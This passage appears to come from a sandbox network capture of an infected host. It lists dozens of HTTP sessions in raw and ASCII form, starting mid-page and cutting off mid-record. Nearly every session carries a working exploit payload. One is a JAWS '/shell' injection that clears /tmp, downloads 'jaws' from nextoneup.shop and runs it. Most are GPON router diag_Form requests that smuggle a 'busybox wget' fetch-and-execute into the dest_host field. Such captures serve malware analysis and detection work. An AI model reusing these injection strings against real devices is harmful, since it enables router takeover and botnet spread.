Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2359	192.168.2.13	51858	35.162.70.249	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.301707983 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:52.594224930 CEST	484	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 02:01:52 GMT Server: Apache/2.4.29 (Ubuntu) P3P: CP="ALL DSP NID CURa ADMa DEVa HISa OTPa OUR NOR NAV DEM" Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
2360	192.168.2.13	49286	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.310163021 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:40Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2361	192.168.2.13	51048	34.161.249.238	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.328260899 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:52.553822041 CEST	433	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 14 Apr 2024 02:01:52 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Data Raw: 66 30 0d 0a 47 45 54 20 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 20 48 54 54 50 2f 31 2e 31 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 0d 0a 48 6f 73 74 3a 20 31 32 37 2e 30 2e 30 2e 31 3a 38 30 0d 0a 41 63 63 65 70 74 3a 20 74 65 78 74 2f 68 74 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 6d 6c 3b 71 3d 30 2e 39 2c 69 6d 61 67 65 2f 77 65 62 70 2c 2a 2f 2a 3b 71 3d 30 2e 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: f0GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2362	192.168.2.13	59672	118.30.53.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.400995970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2363	192.168.2.13	37394	178.191.157.22	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401057005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2364	192.168.2.13	43230	42.104.198.58	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401074886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2365	192.168.2.13	39430	5.246.135.78	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401106119 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2366	192.168.2.13	50498	2.254.196.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401110888 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2367	192.168.2.13	47944	109.45.168.113	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401129961 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2368	192.168.2.13	51392	2.137.10.39	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401154995 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2369	192.168.2.13	47924	118.228.239.93	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401160002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2370	192.168.2.13	56482	37.250.217.65	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401165962 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2371	192.168.2.13	49024	2.21.144.12	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401201963 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2372	192.168.2.13	35116	37.251.203.152	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401217937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2373	192.168.2.13	45452	148.142.248.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401268959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2374	192.168.2.13	33186	202.172.21.220	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401273012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2375	192.168.2.13	45652	117.103.207.222	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401302099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2376	192.168.2.13	56718	148.203.168.113	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401310921 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2377	192.168.2.13	59310	210.175.65.170	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401330948 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2378	192.168.2.13	38308	178.33.62.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401330948 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2379	192.168.2.13	45152	37.102.222.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401360035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2380	192.168.2.13	52364	79.110.235.226	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401384115 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2381	192.168.2.13	52208	118.198.138.53	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401400089 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2382	192.168.2.13	57196	42.149.71.90	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401415110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2383	192.168.2.13	50334	94.199.10.206	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401427984 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2384	192.168.2.13	42726	94.131.200.82	443

